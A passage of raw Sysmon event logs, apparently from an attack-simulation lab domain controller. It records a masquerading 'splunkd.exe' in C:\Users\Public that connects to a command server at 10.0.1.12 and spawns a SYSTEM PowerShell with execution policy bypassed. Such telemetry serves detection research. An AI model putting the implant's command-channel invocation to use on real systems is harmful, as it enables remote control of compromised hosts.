{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1502,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1503,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1504,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001034A30200}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: powershell.exe -ExecutionPolicy Bypass -C xyseld\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nParentProcessId: 2940\r\nParentImage: C:\\Users\\Public\\splunkd.exe\r\nParentCommandLine: \"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","ProcessGuid":"{90617006-3FE4-5F2D-0000-001034A30200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"powershell.exe -ExecutionPolicy Bypass -C xyseld","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","ParentProcessId":"2940","ParentImage":"C:\\Users\\Public\\splunkd.exe","ParentCommandLine":"\"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nSourceProcessId: 2940\r\nSourceThreadId: 3000\r\nSourceImage: C:\\Users\\Public\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Users\\Public\\splunkd.exe+5c36e","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","SourceProcessId":"2940","SourceThreadId":"3000","SourceImage":"C:\\Users\\Public\\splunkd.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Users\\Public\\splunkd.exe+5c36e","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1509,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.915\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.915","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1510,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 